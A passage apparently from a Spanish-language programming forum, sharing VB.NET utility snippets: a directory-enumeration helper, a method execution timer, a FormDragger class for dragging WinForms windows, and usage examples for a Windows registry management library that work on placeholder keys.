''' <param name="throwOnError">If set to <c>true</c>, exceptions will be thrown, like access denied to directory.</param>
Private Shared Sub CollectDirPaths(ByVal queue As ConcurrentQueue(Of String),
ByVal dirPath As String,
ByVal searchOption As SearchOption,
ByVal dirPathPatterns As IEnumerable(Of String),
ByVal dirNamePatterns As IEnumerable(Of String),
ByVal ignoreCase As Boolean,
ByVal throwOnError As Boolean)
' Initialize a directory paths collection.
Dim dirPathCol As IEnumerable(Of String) = Nothing
' Get the top directory paths of the current directory.
SetupFileDirCollection(Of String)(Nothing, AddressOf Directory.GetDirectories,
dirPath, "*", dirPathCol, throwOnError)
' If the fileInfoCol collection is not empty then...
If dirPathCol IsNot Nothing Then
' Iterate the files.
For Each dir As String In dirPathCol
' Flag to determine whether a directory path pattern is matched. Activated by default.
Dim flagPathPattern As Boolean = True
' Flag to determine whether a directory name pattern is matched. Activated by default.
Dim flagNamePattern As Boolean = True
' If directory path patterns collection is not empty then...
If dirPathPatterns IsNot Nothing Then
flagPathPattern = IsMatchPattern(dir, dirPathPatterns, ignoreCase)
End If
' If directory name patterns collection is not empty then...
If dirNamePatterns IsNot Nothing Then
flagNamePattern = IsMatchPattern(Path.GetFileName(dir), dirNamePatterns, ignoreCase)
End If
' If directory path and also directory name patterns are matched then...
If flagPathPattern AndAlso flagNamePattern Then
queue.Enqueue(dir) ' Enqueue this directory path.
End If
Next dir
End If ' dirPathCol IsNot Nothing
' If searchOption is recursive then...
If searchOption = searchOption.AllDirectories Then
RunNextTasks(Of String)(AddressOf CollectDirPaths,
queue, dirPath, dirPathPatterns, dirNamePatterns, ignoreCase, throwOnError)
End If
End Sub
#End Region
End Class
#End Region
Una manera sencilla de medír el tiempo de ejecución de un método, útil para llevar a cabo análisis/comparaciones.
( Los resultados se puedne mostrar en un messageBox o en la consola de depuración, usando el parámetro opcional. )
Modo de empleo:
MeasureAction(Sub()
For x As Integer = 0 To 5000
Debug.WriteLine(x)
Next
End Sub)
O bien:
MeasureAction(AddressOf Test)
Private Function Test() As Boolean
' Esto provocará un error:
Return CTypeDynamic(Of Boolean)("")
End Function
Source:
''' <remarks>
''' *****************************************************************
''' Snippet Title: Measure Code Execution Time
''' Code's Author: Elektro
''' Date Modified: 16-February-2015
''' Usage Example:
''' MeasureAction(AddressOf MyMethodName, writeResultInConsole:=True)
'''
''' MeasureAction(Sub()
''' ' My Method Lambda...
''' End Sub)
''' *****************************************************************
''' </remarks>
''' <summary>
''' Measures the code execution time of a method.
''' </summary>
''' <param name="action">The action to be invoked.</param>
''' <param name="writeResultInConsole">
''' If set to <c>true</c>, print the results in console instead of displaying a <see cref="MessageBox"/>.
''' </param>
Private Sub MeasureAction(ByVal action As Action,
Optional ByVal writeResultInConsole As Boolean = False)
' Measures the elapsed time.
Dim timeWatch As New Stopwatch
' The time display format (Hours:Minutes:Secons:Milliseconds)
Dim timeFormat As String = "hh\:mm\:ss\:fff"
' Flag that determines whether the method invocation has succeed.
Dim success As Boolean = False
' Captures any exception caused by the invoked method.
Dim invokeEx As Exception = Nothing
' Retains and formats the information string.
Dim sb As New System.Text.StringBuilder
' Determines the MessageBox icon.
Dim msgIcon As MessageBoxIcon
' Determines the MessageBox buttons.
Dim msgButtons As MessageBoxButtons
' Determines the MessageBox result.
Dim msgResult As DialogResult
' Start to measure time.
timeWatch.Start()
Try
' Invoke the method.
action.Invoke()
success = True
Catch ex As Exception
' Capture the exception details.
invokeEx = ex
success = False
Finally
' Ensure to stop measuring time.
timeWatch.Stop()
End Try
Select Case success
Case True
With sb ' Set an information message.
.AppendLine(String.Format("Method Name: {0}", action.Method.Name))
.AppendLine()
.AppendLine(String.Format("Elapsed Time: {0}", timeWatch.Elapsed.ToString(timeFormat)))
End With
Case Else
With sb ' Set an error message.
.AppendLine("Exception occurred during code execution measuring.")
.AppendLine()
.AppendLine(String.Format("Method Name: {0}", action.Method.Name))
.AppendLine()
.AppendLine(String.Format("Exception Type: {0}", invokeEx.GetType.Name))
.AppendLine()
.AppendLine("Exception Message:")
.AppendLine(invokeEx.Message)
.AppendLine()
.AppendLine("Exception Stack Trace:")
.AppendLine(invokeEx.StackTrace)
End With
End Select
If writeResultInConsole Then ' Print results in console.
Debug.WriteLine(String.Join(Environment.NewLine,
sb.ToString.Split({Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries)))
Else
' Show the MessageBox with the information string.
msgIcon = If(success, MessageBoxIcon.Information, MessageBoxIcon.Error)
msgButtons = If(success, MessageBoxButtons.OK, MessageBoxButtons.RetryCancel)
msgResult = MessageBox.Show(sb.ToString, "Code Execution Measurer", msgButtons, msgIcon)
' If invoked method has failed, retry or cancel.
If Not success AndAlso (msgResult = DialogResult.Retry) Then
MeasureAction(action, writeResultInConsole)
End If
End If
End Sub
He desarrollado este snippet para administrar las capacidades de arrastrar (dragging) en tiempo de ejecución, de uno o varios Forms, extendiendo el control y la eficiencia de los típicos códigos "copy&paste" que se pueden encontrar por internet para llevar a cabo dicha tarea.
Ejemplos de uso:
Public Class Form1
''' <summary>
''' The <see cref="FormDragger"/> instance that manages the form(s) dragging.
''' </summary>
Private formDragger As FormDragger = FormDragger.Empty
Private Sub Test() Handles MyBase.Shown
Me.InitializeDrag()
End Sub
Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs) _
Handles Button1.Click
Me.AlternateDragEnabled(Me)
End Sub
Private Sub InitializeDrag()
' 1st way, using the single-Form constructor:
Me.formDragger = New FormDragger(Me, enabled:=True, cursor:=Cursors.SizeAll)
' 2nd way, using the multiple-Forms constructor:
' Me.formDragger = New FormDragger({Me, Form2, form3})
' 3rd way, using the default constructor then adding a Form into the collection:
' Me.formDragger = New FormDragger
' Me.formDragger.AddForm(Me, enabled:=True, cursor:=Cursors.SizeAll)
End Sub
''' <summary>
''' Alternates the dragging of the specified form.
''' </summary>
''' <param name="form">The form.</param>
Private Sub AlternateDragEnabled(ByVal form As Form)
Dim formInfo As FormDragger.FormDragInfo = Me.formDragger.FindFormDragInfo(form)
formInfo.Enabled = Not formInfo.Enabled
End Sub
End Class
Source:
' ***********************************************************************
' Author : Elektro
' Modified : 15-March-2015
' ***********************************************************************
' <copyright file="FormDragger.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Option Statements "
Option Explicit On
Option Strict On
Option Infer Off
#End Region
#Region " Usage Examples "
'Public Class Form1
' ''' <summary>
' ''' The <see cref="FormDragger"/> instance that manages the form(s) dragging.
' ''' </summary>
' Private formDragger As FormDragger = FormDragger.Empty
' Private Sub Test() Handles MyBase.Shown
' Me.InitializeDrag()
' End Sub
' Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs) _
' Handles Button1.Click
' Me.AlternateDragEnabled(Me)
' End Sub
' Private Sub InitializeDrag()
' ' 1st way, using the single-Form constructor:
' Me.formDragger = New FormDragger(Me, enabled:=True, cursor:=Cursors.SizeAll)
' ' 2nd way, using the multiple-Forms constructor:
' ' Me.formDragger = New FormDragger({Me, Form2, form3})
' ' 3rd way, using the default constructor then adding a Form into the collection:
' ' Me.formDragger = New FormDragger
' ' Me.formDragger.AddForm(Me, enabled:=True, cursor:=Cursors.SizeAll)
' End Sub
' ''' <summary>
' ''' Alternates the dragging of the specified form.
' ''' </summary>
' ''' <param name="form">The form.</param>
' Private Sub AlternateDragEnabled(ByVal form As Form)
' Dim formInfo As FormDragger.FormDragInfo = Me.formDragger.FindFormDragInfo(form)
' formInfo.Enabled = Not formInfo.Enabled
' End Sub
'End Class
#End Region
#Region " Imports "
Imports System.ComponentModel
#End Region
#Region " Form Dragger "
''' <summary>
''' Enable or disable drag at runtime on a <see cref="Form"/>.
''' </summary>
Public NotInheritable Class FormDragger : Implements IDisposable
#Region " Properties "
''' <summary>
''' Gets an <see cref="IEnumerable(Of Form)"/> collection that contains the Forms capables to perform draggable operations.
''' </summary>
''' <value>The <see cref="IEnumerable(Of Form)"/>.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
Public ReadOnly Property Forms As IEnumerable(Of FormDragInfo)
Get
Return Me.forms1
End Get
End Property
''' <summary>
''' An <see cref="IEnumerable(Of Form)"/> collection that contains the Forms capables to perform draggable operations.
''' </summary>
Private forms1 As IEnumerable(Of FormDragInfo) = {}
''' <summary>
''' Represents a <see cref="FormDragger"/> instance that is <c>Nothing</c>.
''' </summary>
''' <value><c>Nothing</c></value>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Shared ReadOnly Property Empty As FormDragger
Get
Return Nothing
End Get
End Property
#End Region
#Region " Types "
''' <summary>
''' Defines the draggable info of a <see cref="Form"/>.
''' </summary>
<Serializable>
Public NotInheritable Class FormDragInfo
#Region " Properties "
''' <summary>
''' Gets the associated <see cref="Form"/> used to perform draggable operations.
''' </summary>
''' <value>The associated <see cref="Form"/>.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
Public ReadOnly Property Form As Form
Get
Return form1
End Get
End Property
''' <summary>
''' The associated <see cref="Form"/>
''' </summary>
<NonSerialized>
Private ReadOnly form1 As Form
''' <summary>
''' Gets the name of the associated <see cref="Form"/>.
''' </summary>
''' <value>The Form.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
Public ReadOnly Property Name As String
Get
If Me.Form IsNot Nothing Then
Return Form.Name
Else
Return String.Empty
End If
End Get
End Property
''' <summary>
''' Gets or sets a value indicating whether drag is enabled on the associated <see cref="Form"/>.
''' </summary>
''' <value><c>true</c> if drag is enabled; otherwise, <c>false</c>.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Property Enabled As Boolean
''' <summary>
''' A <see cref="FormDragger"/> instance instance containing the draggable information of the associated <see cref="Form"/>.
''' </summary>
''' <value>The draggable information.</value>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Property DragInfo As FormDragger = FormDragger.Empty
''' <summary>
''' Gets or sets the <see cref="Cursor"/> used to drag the associated <see cref="Form"/>.
''' </summary>
''' <value>The <see cref="Cursor"/>.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
Public Property Cursor As Cursor = Cursors.SizeAll
''' <summary>
''' Gets or sets the old form's cursor to restore it after dragging.
''' </summary>
''' <value>The old form's cursor.</value>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Property OldCursor As Cursor = Nothing
''' <summary>
''' Gets or sets the initial mouse coordinates, normally <see cref="Form.MousePosition"/>.
''' </summary>
''' <value>The initial mouse coordinates.</value>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Property InitialMouseCoords As Point = Point.Empty
''' <summary>
''' Gets or sets the initial <see cref="Form"/> location, normally <see cref="Form.Location"/>.
''' </summary>
''' <value>The initial location.</value>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Property InitialLocation As Point = Point.Empty
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="FormDragInfo"/> class.
''' </summary>
''' <param name="form">The form.</param>
Public Sub New(ByVal form As Form)
Me.form1 = form
Me.Cursor = form.Cursor
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="FormDragInfo"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
''' <summary>
''' Gets the System.Type of the current instance.
''' </summary>
''' <returns>The exact runtime type of the current instance.</returns>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function [GetType]() As Type
Return MyBase.GetType
End Function
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function Equals(ByVal obj As Object) As Boolean
Return MyBase.Equals(obj)
End Function
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function ToString() As String
Return MyBase.ToString
End Function
#End Region
End Class
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="FormDragger"/> class.
''' </summary>
Public Sub New()
Me.forms1={}
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="FormDragger"/> class.
''' </summary>
''' <param name="form">The <see cref="Form"/> used to perform draggable operations.</param>
''' <param name="enabled">If set to <c>true</c>, enable dragging on the <see cref="Form"/>.</param>
''' <param name="cursor">The <see cref="Cursor"/> used to drag the specified <see cref="Form"/>.</param>
Public Sub New(ByVal form As Form,
Optional enabled As Boolean = False,
Optional cursor As Cursor = Nothing)
Me.forms1 =
{
New FormDragInfo(form) With
{
.Enabled = enabled,
.Cursor = cursor
}
}
Me.AssocHandlers(form)
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="FormDragger"/> class.
''' </summary>
''' <param name="forms">The <see cref="Forms"/> used to perform draggable operations.</param>
Public Sub New(ByVal forms As IEnumerable(Of Form))
Me.forms1 = (From form As Form In forms
Select New FormDragInfo(form)).ToArray
For Each form As Form In forms
Me.AssocHandlers(form)
Next form
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="FormDragger"/> class.
''' </summary>
''' <param name="formInfo">
''' The <see cref="FormDragInfo"/> instance
''' that contains the <see cref="Form"/> reference and its draggable info.
''' </param>
''' <param name="mouseCoordinates">The current mouse coordinates.</param>
''' <param name="location">The current location.</param>
Private Sub New(ByVal formInfo As FormDragInfo,
ByVal mouseCoordinates As Point,
ByVal location As Point)
formInfo.InitialMouseCoords = mouseCoordinates
formInfo.InitialLocation = location
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Adds the specified <see cref="Form"/> into the draggable <see cref="Forms"/> collection.
''' </summary>
''' <param name="form">The <see cref="Form"/>.</param>
''' <param name="enabled">If set to <c>true</c>, enable dragging on the <see cref="Form"/>.</param>
''' <param name="cursor">The <see cref="Cursor"/> used to drag the specified <see cref="Form"/>.</param>
''' <exception cref="System.ArgumentException">The specified form is already added.;form</exception>
Public Function AddForm(ByVal form As Form,
Optional enabled As Boolean = False,
Optional cursor As Cursor = Nothing) As FormDragInfo
For Each formInfo As FormDragInfo In Me.forms1
If formInfo.Form.Equals(form) Then
Throw New ArgumentException("The specified form is already added.", "form")
Exit Function
End If
Next formInfo
Dim newFormInfo As New FormDragInfo(form) With {.Enabled = enabled, .Cursor = cursor}
Me.forms1 = Me.forms1.Concat({newFormInfo})
Me.AssocHandlers(form)
Return newFormInfo
End Function
''' <summary>
''' Removes the specified <see cref="Form"/> from the draggable <see cref="Forms"/> collection.
''' </summary>
''' <param name="form">The form.</param>
''' <exception cref="System.ArgumentException">The specified form is not found.;form</exception>
Public Sub RemoveForm(ByVal form As Form)
Dim formInfoToRemove As FormDragInfo = Nothing
For Each formInfo As FormDragInfo In Me.forms1
If formInfo.Form.Equals(form) Then
formInfoToRemove = formInfo
Exit For
End If
Next formInfo
If formInfoToRemove IsNot Nothing Then
Me.forms1 = From formInfo As FormDragInfo In Me.forms1
Where Not formInfo Is formInfoToRemove
formInfoToRemove.Enabled = False
Me.DeassocHandlers(formInfoToRemove.Form)
Else
Throw New ArgumentException("The specified form is not found.", "form")
End If
End Sub
''' <summary>
''' Finds the <see cref="FormDragInfo"/> instance that is associated with the specified <see cref="Form"/> reference.
''' </summary>
''' <param name="form">The <see cref="Form"/>.</param>
''' <returns>The <see cref="FormDragInfo"/> instance that is associated with the specified <see cref="Form"/> reference.</returns>
Public Function FindFormDragInfo(ByVal form As Form) As FormDragInfo
Return (From formInfo As FormDragger.FormDragInfo In Me.forms1
Where formInfo.Form Is form).FirstOrDefault
End Function
''' <summary>
''' Finds the <see cref="FormDragInfo"/> instance that is associated with the specified <see cref="Form"/> reference.
''' </summary>
''' <param name="name">The <see cref="Form"/> name.</param>
''' <returns>The <see cref="FormDragInfo"/> instance that is associated with the specified <see cref="Form"/> reference.</returns>
Public Function FindFormDragInfo(ByVal name As String,
Optional stringComparison As StringComparison =
StringComparison.OrdinalIgnoreCase) As FormDragInfo
Return (From formInfo As FormDragger.FormDragInfo In Me.forms1
Where formInfo.Name.Equals(name, stringComparison)).FirstOrDefault
End Function
#End Region
#Region " Private Methods "
''' <summary>
''' Associates the <see cref="Form"/> handlers to enable draggable operations.
''' </summary>
''' <param name="form">The form.</param>
Private Sub AssocHandlers(ByVal form As Form)
AddHandler form.MouseDown, AddressOf Me.Form_MouseDown
AddHandler form.MouseUp, AddressOf Me.Form_MouseUp
AddHandler form.MouseMove, AddressOf Me.Form_MouseMove
AddHandler form.MouseEnter, AddressOf Me.Form_MouseEnter
AddHandler form.MouseLeave, AddressOf Me.Form_MouseLeave
End Sub
''' <summary>
''' Deassociates the <see cref="Form"/> handlers to disable draggable operations.
''' </summary>
''' <param name="form">The form.</param>
Private Sub DeassocHandlers(ByVal form As Form)
If Not form.IsDisposed AndAlso Not form.Disposing Then
RemoveHandler form.MouseDown, AddressOf Me.Form_MouseDown
RemoveHandler form.MouseUp, AddressOf Me.Form_MouseUp
RemoveHandler form.MouseMove, AddressOf Me.Form_MouseMove
RemoveHandler form.MouseEnter, AddressOf Me.Form_MouseEnter
RemoveHandler form.MouseLeave, AddressOf Me.Form_MouseLeave
End If
End Sub
''' <summary>
''' Return the new location.
''' </summary>
''' <param name="formInfo">
''' The <see cref="FormDragInfo"/> instance
''' that contains the <see cref="Form"/> reference and its draggable info.
''' </param>
''' <param name="mouseCoordinates">The current mouse coordinates.</param>
''' <returns>The new location.</returns>
Private Function GetNewLocation(ByVal formInfo As FormDragInfo,
ByVal mouseCoordinates As Point) As Point
Return New Point(formInfo.InitialLocation.X + (mouseCoordinates.X - formInfo.InitialMouseCoords.X),
formInfo.InitialLocation.Y + (mouseCoordinates.Y - formInfo.InitialMouseCoords.Y))
End Function
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
''' <summary>
''' Gets the System.Type of the current instance.
''' </summary>
''' <returns>The exact runtime type of the current instance.</returns>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function [GetType]() As Type
Return MyBase.GetType
End Function
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function Equals(ByVal obj As Object) As Boolean
Return MyBase.Equals(obj)
End Function
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function ToString() As String
Return MyBase.ToString
End Function
#End Region
#Region " Event Handlers "
''' <summary>
''' Handles the MouseEnter event of the Form.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub Form_MouseEnter(ByVal sender As Object, ByVal e As EventArgs)
Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
formInfo.OldCursor = formInfo.Form.Cursor
If formInfo.Enabled Then
formInfo.Form.Cursor = formInfo.Cursor
' Optional:
' formInfo.Form.BringToFront()
End If
End Sub
''' <summary>
''' Handles the MouseLeave event of the Form.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub Form_MouseLeave(ByVal sender As Object, ByVal e As EventArgs)
Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
formInfo.Form.Cursor = formInfo.OldCursor
End Sub
''' <summary>
''' Handles the MouseDown event of the Form.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub Form_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs)
Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
If formInfo.Enabled Then
formInfo.DragInfo = New FormDragger(formInfo, Form.MousePosition, formInfo.Form.Location)
End If
End Sub
''' <summary>
''' Handles the MouseMove event of the Form.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub Form_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs)
Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
If formInfo.Enabled AndAlso (formInfo.DragInfo IsNot FormDragger.Empty) Then
formInfo.Form.Location = formInfo.DragInfo.GetNewLocation(formInfo, Form.MousePosition)
End If
End Sub
''' <summary>
''' Handles the MouseUp event of the Form.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub Form_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs)
Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
formInfo.DragInfo = FormDragger.Empty
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private isDisposed As Boolean = False
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(ByVal isDisposing As Boolean)
If Not Me.isDisposed Then
If isDisposing Then
For Each formInfo As FormDragInfo In Me.forms1
With formInfo
.Enabled = False
.OldCursor = Nothing
.DragInfo = FormDragger.Empty
.InitialMouseCoords = Point.Empty
.InitialLocation = Point.Empty
Me.DeassocHandlers(.Form)
End With ' form
Next formInfo
Me.forms1 = Nothing
End If ' IsDisposing
End If ' Not Me.IsDisposed
Me.isDisposed = True
End Sub
#End Region
End Class
#End Region
Aquí les dejo un (casi)completo set de utilidades para manejar el registro de windows desde una aplicación .Net, tiene todo tipo de funcionalidades.
Ejemplos de uso:
----------------
Set RegInfo Instance
----------------
Dim regInfo As New RegEdit.RegInfo
With regInfo
.RootKeyName = "HKCU"
.SubKeyPath = "Subkey Path"
.ValueName = "Value Name"
.ValueType = Microsoft.Win32.RegistryValueKind.String
.ValueData = "Hello World!"
End With
Dim regInfoByte As New RegEdit.RegInfo(Of Byte())
With regInfoByte
.RootKeyName = "HKCU"
.SubKeyPath = "Subkey Path"
.ValueName = "Value Name"
.ValueType = Microsoft.Win32.RegistryValueKind.Binary
.ValueData = System.Text.Encoding.ASCII.GetBytes("Hello World!")
End With
----------------
Create SubKey
----------------
RegEdit.CreateSubKey(fullKeyPath:="HKCU\Subkey Path\")
RegEdit.CreateSubKey(rootKeyName:="HKCU",
subKeyPath:="Subkey Path")
RegEdit.CreateSubKey(regInfo:=regInfoByte)
Dim regKey1 As Microsoft.Win32.RegistryKey =
RegEdit.CreateSubKey(fullKeyPath:="HKCU\Subkey Path\",
registryKeyPermissionCheck:=Microsoft.Win32.RegistryKeyPermissionCheck.Default,
registryOptions:=Microsoft.Win32.RegistryOptions.None)
Dim regKey2 As Microsoft.Win32.RegistryKey =
RegEdit.CreateSubKey(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
registryKeyPermissionCheck:=Microsoft.Win32.RegistryKeyPermissionCheck.Default,
registryOptions:=Microsoft.Win32.RegistryOptions.None)
Dim regInfo2 As RegEdit.RegInfo(Of String) = RegEdit.CreateSubKey(Of String)(fullKeyPath:="HKCU\Subkey Path\")
Dim regInfo3 As RegEdit.RegInfo(Of String) = RegEdit.CreateSubKey(Of String)(rootKeyName:="HKCU",
subKeyPath:="Subkey Path")
----------------
Create Value
----------------
RegEdit.CreateValue(fullKeyPath:="HKCU\Subkey Path\",
valueName:="Value Name",
valueData:="Value Data",
valueType:=Microsoft.Win32.RegistryValueKind.String)
RegEdit.CreateValue(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
valueName:="Value Name",
valueData:="Value Data",
valueType:=Microsoft.Win32.RegistryValueKind.String)
RegEdit.CreateValue(regInfo:=regInfoByte)
RegEdit.CreateValue(Of String)(fullKeyPath:="HKCU\Subkey Path\",
valueName:="Value Name",
valueData:="Value Data",
valueType:=Microsoft.Win32.RegistryValueKind.String)
RegEdit.CreateValue(Of String)(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
valueName:="Value Name",
valueData:="Value Data",
valueType:=Microsoft.Win32.RegistryValueKind.String)
RegEdit.CreateValue(Of Byte())(regInfo:=regInfoByte)
----------------
Copy KeyTree
----------------
RegEdit.CopyKeyTree(sourceFullKeyPath:="HKCU\Source Subkey Path\",
targetFullKeyPath:="HKCU\Target Subkey Path\")
RegEdit.CopyKeyTree(sourceRootKeyName:="HKCU",
sourceSubKeyPath:="Source Subkey Path\",
targetRootKeyName:="HKCU",
targetSubKeyPath:="Target Subkey Path\")
----------------
Move KeyTree
----------------
RegEdit.MoveKeyTree(sourceFullKeyPath:="HKCU\Source Subkey Path\",
targetFullKeyPath:="HKCU\Target Subkey Path\")
RegEdit.MoveKeyTree(sourceRootKeyName:="HKCU",
sourceSubKeyPath:="Source Subkey Path\",
targetRootKeyName:="HKCU",
targetSubKeyPath:="Target Subkey Path\")
----------------
Copy SubKeys
----------------
RegEdit.CopySubKeys(sourceFullKeyPath:="HKCU\Source Subkey Path\",
targetFullKeyPath:="HKCU\Target Subkey Path\")
RegEdit.CopySubKeys(sourceRootKeyName:="HKCU",
sourceSubKeyPath:="Source Subkey Path\",
targetRootKeyName:="HKCU",
targetSubKeyPath:="Target Subkey Path\")
----------------
Move SubKeys
----------------
RegEdit.MoveSubKeys(sourceFullKeyPath:="HKCU\Source Subkey Path\",
targetFullKeyPath:="HKCU\Target Subkey Path\")
RegEdit.MoveSubKeys(sourceRootKeyName:="HKCU",
sourceSubKeyPath:="Source Subkey Path\",
targetRootKeyName:="HKCU",
targetSubKeyPath:="Target Subkey Path\")
----------------
Copy Value
----------------
RegEdit.CopyValue(sourceFullKeyPath:="HKCU\Source Subkey Path\",
sourceValueName:="Value Name",
targetFullKeyPath:="HKCU\Target Subkey Path\",
targetValueName:="Value Name")
RegEdit.CopyValue(sourceRootKeyName:="HKCU",
sourceSubKeyPath:="Source Subkey Path\",
sourceValueName:="Value Name",
targetRootKeyName:="HKCU",
targetSubKeyPath:="Target Subkey Path\",
targetValueName:="Value Name")
----------------
Move Value
----------------
RegEdit.MoveValue(sourceFullKeyPath:="HKCU\Source Subkey Path\",
sourceValueName:="Value Name",
targetFullKeyPath:="HKCU\Target Subkey Path\",
targetValueName:="Value Name")
RegEdit.MoveValue(sourceRootKeyName:="HKCU",
sourceSubKeyPath:="Source Subkey Path\",
sourceValueName:="Value Name",
targetRootKeyName:="HKCU",
targetSubKeyPath:="Target Subkey Path\",
targetValueName:="Value Name")
----------------
DeleteValue
----------------
RegEdit.DeleteValue(fullKeyPath:="HKCU\Subkey Path\",
valueName:="Value Name",
throwOnMissingValue:=True)
RegEdit.DeleteValue(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
valueName:="Value Name",
throwOnMissingValue:=True)
RegEdit.DeleteValue(regInfo:=regInfoByte,
throwOnMissingValue:=True)
----------------
Delete SubKey
----------------
RegEdit.DeleteSubKey(fullKeyPath:="HKCU\Subkey Path\",
throwOnMissingSubKey:=False)
RegEdit.DeleteSubKey(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
throwOnMissingSubKey:=False)
RegEdit.DeleteSubKey(regInfo:=regInfoByte,
throwOnMissingSubKey:=False)
----------------
Exist SubKey?
----------------
Dim exist1 As Boolean = RegEdit.ExistSubKey(fullKeyPath:="HKCU\Subkey Path\")
Dim exist2 As Boolean = RegEdit.ExistSubKey(rootKeyName:="HKCU",
subKeyPath:="Subkey Path")
----------------
Exist Value?
----------------
Dim exist3 As Boolean = RegEdit.ExistValue(fullKeyPath:="HKCU\Subkey Path\",
valueName:="Value Name")
Dim exist4 As Boolean = RegEdit.ExistValue(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
valueName:="Value Name")
----------------
Value Is Empty?
----------------
Dim isEmpty1 As Boolean = RegEdit.ValueIsEmpty(fullKeyPath:="HKCU\Subkey Path\",
valueName:="Value Name")
Dim isEmpty2 As Boolean = RegEdit.ValueIsEmpty(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
valueName:="Value Name")
----------------
Export Key
----------------
RegEdit.ExportKey(fullKeyPath:="HKCU\Subkey Path\",
outputFile:="C:\Backup.reg")
RegEdit.ExportKey(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
outputFile:="C:\Backup.reg")
----------------
Import RegFile
----------------
RegEdit.ImportRegFile(regFilePath:="C:\Backup.reg")
----------------
Jump To Key
----------------
RegEdit.JumpToKey(fullKeyPath:="HKCU\Subkey Path\")
RegEdit.JumpToKey(rootKeyName:="HKCU",
subKeyPath:="Subkey Path")
----------------
Find SubKey
----------------
Dim regInfoSubkeyCol As IEnumerable(Of RegEdit.Reginfo) =
RegEdit.FindSubKey(rootKeyName:="HKCU",
subKeyPath:="Subkey Path",
subKeyName:="Subkey Name",
matchFullSubKeyName:=False,
ignoreCase:=True,
searchOption:=IO.SearchOption.AllDirectories)
For Each reg As RegEdit.RegInfo In regInfoSubkeyCol
Debug.WriteLine(reg.RootKeyName)
Debug.WriteLine(reg.SubKeyPath)
Debug.WriteLine(reg.ValueName)
